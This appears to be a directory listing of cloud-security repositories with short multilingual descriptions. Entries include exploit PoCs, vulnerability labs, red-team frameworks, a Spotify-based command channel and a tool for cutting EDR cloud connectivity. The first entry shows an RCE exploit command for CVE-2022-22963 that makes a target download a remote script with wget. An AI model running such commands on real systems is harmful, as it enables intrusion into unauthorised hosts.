CVE-2022-22963-PoC

CVE-2022-22963: Spring4Shell RCE Exploit Dies ist eine Python-Implementierung von Spring4Shell, CVE-2022-22963, die Dienste betrifft, die Spring Cloud Function /tmp/rce $ python exploit.py 10.10.10.10:8080 'wget http://10.10.10.60/test.sh -O /tmp/test.sh' + Host is vulnerable + Command executed +...

cirro

Cirro è una piattaforma estensibile di ricerca sulla sicurezza che consente a ricercatori e penetration tester di raccogliere, analizzare e visualizzare ambienti cloud e relazioni identitarie attraverso database a grafo. Costruita con un'architettura modulare, Cirro può essere estesa per supporta...

CloudSec

Cloud Security Toolkit L'Arte dell'Exploitation nel Cloud Benvenuto nel Cloud Security Toolkit, una risorsa specializzata progettata per ricercatori di sicurezza offensiva, red teamer e adversary. Questo repository è dedicato alla weaponizzazione sistematica delle vulnerabilità, alle simulazioni ...

vaas

Verdict-as-a-Service Verdict-as-a-Service VaaS é um serviço em nuvem que oferece recursos para escanear arquivos em busca de malware e outras ameaças. Ele permite que você integre facilmente a detecção de malware em sua aplicação com algumas linhas de código. Você pode usar o VaaS para proteger...

CVE-2025-41243-Vulnerability-Lab

CVE-2025-41243: Spring Cloud Gateway RCE Lab Descrizione della vulnerabilità Spring Cloud Gateway presenta una vulnerabilità di iniezione di espressioni SpEL; quando l'endpoint Actuator è abilitato, un attaccante può ottenere l'esecuzione remota di codice RCE. Avvio docker-compose up -d...

DoodleCloud

DoodleCloud ☁️ Trasforma Instagram nel tuo archivio cloud personale e infinito. DoodleCloud è uno strumento Proof-of-Concept PoC che utilizza l'API interna di Instagram per archiviare file illimitati gratuitamente. Convertendo i file in immagini "Visual Noise" e caricandoli come doodle nei DM,...

gibson

Gibson Strumento di monitoraggio di rete che mappa le connessioni processo-rete, identifica i provider cloud e genera regole firewall. Agente leggero per la raccolta, server per l'aggregazione, parser per l'analisi. Screenshot Panoramica tra macchine — confronto versioni OS, rilevamento IP...

edge

Cloud edge - Whois per il Cloud Cerca un IP per trovare il provider cloud e altri dettagli basandosi sui dati JSON, CSV o di testo pubblicati dal provider Cloud edge è uno strumento di ricognizione focalizzato sull'esplorazione dei provider di servizi cloud. Può essere utilizzato per l'attribuzio...

aura-inspector

aura-inspector Este não é um produto oficialmente suportado pelo Google. Este projeto não é elegível para o Programa de Recompensas por Vulnerabilidades de Software de Código Aberto do Google. Introdução aura-inspector é um canivete suíço para testes do Salesforce Experience Cloud. Ele facilita a...

holos

Docker compose per KVM. Definisci stack multi-VM in un unico file YAML. Niente libvirt, niente XML, nessun piano di controllo distribuito. Sito web e documentazione: https://zeroecco.github.io/holos/ La primitiva è una VM, non un contenitore. Ogni istanza di carico di lavoro ha il proprio confine...

cloudtoolkit

CloudToolKit Englisch | 简体中文 Multi-Cloud-Verteidigungsvalidierungs-Toolkit für CSPM-/CNAPP-Erkennung, Telemetrie und Untersuchungs-Workflows in autorisierten Umgebungen. CloudToolKit bietet Sicherheitsteams eine praktische Möglichkeit zu überprüfen, ob Cloud-Kontrollen auffindbar, erkennbar,...

HybridTestFramework

HybridTestFramework Unterstützt von In der Ära der Cloud-native-Welt können wir uns nicht auf ein bestimmtes Framework festlegen, aber aufgrund von Projektanforderungen müssen wir die bestehende Testlösung oft so weiterentwickeln, dass sie mehrere Testanforderungen erfüllen kann. Daher zielt dara...

cloud

Cloud Monitoraggio del panorama cloud La nostra missione con questo progetto è fornire una mappa sempre aggiornata e liberamente accessibile del panorama cloud per ogni grande fornitore di servizi cloud. Abbiamo deciso di iniziare raccogliendo i dati dei certificati SSL delle macchine AWS EC2 e...

lssh

lssh ls + ssh = lssh lssh एक टर्मिनल-नेटिव रिमोट एक्सेस सूट है जो SSH वर्कफ़्लो, क्लाउड इन्वेंट्री और प्रोवाइडर-समर्थित कनेक्टर्स के लिए है। यह आपको OpenSSH कॉन्फ़िग, कॉन्फ़िग या प्रोवाइडर इन्वेंट्री से होस्ट चुनने देता है, फिर उन्हें नेटिव SSH या AWS SSM, EC2 Instance Connect Endpoint, WinRM,...

CloudGrappler

CloudGrappler Permiso: https://permiso.io Leggi il nostro blog di rilascio: https://permiso.io/blog/cloudgrappler-a-powerful-open-source-threat-detection-tool-for-cloud-environments CloudGrappler è uno strumento progettato appositamente per interrogare senza sforzo rilevamenti ad alta fedeltà e a...

SpotifyC2

SpotifyC2 — Ricerca su Canale di Comando Basato su Cloud Esegui comandi attraverso una playlist di Spotify e ricevi l'output dei comandi tramite Telegram. Cos'è SpotifyC2? SpotifyC2 è un progetto di ricerca sulla cybersecurity basato su Windows che dimostra come servizi cloud accessibili...

Spring-Cloud-Gateway-CVE-2022-22947

Spring-Cloud-Gateway-CVE-2022-22947 Aviso de segurança sobre a vulnerabilidade de execução remota de código no Spring Cloud Gateway. Esta vulnerabilidade permite que aplicações que usam Spring Cloud Gateway sofram ataques de injeção de código quando o endpoint Gateway Actuator está habilitado e...

SilentButDeadly

SilentButDeadly Übersicht SilentButDeadly ist ein Netzwerkkommunikationsblocker, der speziell dafür entwickelt wurde, EDR/AV-Software zu neutralisieren, indem deren Cloud-Konnektivität unter Verwendung der Windows Filtering Platform WFP verhindert wird. Diese Version konzentriert sich...

cynative

Build your own security agents Open-source framework for security agents with live, read-only access to your infrastructure. Quickstart · Your first agent · Docs Ask your infrastructure anything. Cynative runs frontier models across your code, cloud and runtime - reasoning through GitHub, GitLab,...

MAAD-AF

MAAD Attack Framework MAAD-AF è uno strumento open-source di attacco cloud per ambienti Microsoft 365 e Entra ID Azure AD. MAAD-AF offre test di sicurezza semplici, rapidi ed efficaci. Convalida i controlli cloud Microsoft e testa le capacità di rilevamento e risposta con un processo praticamente...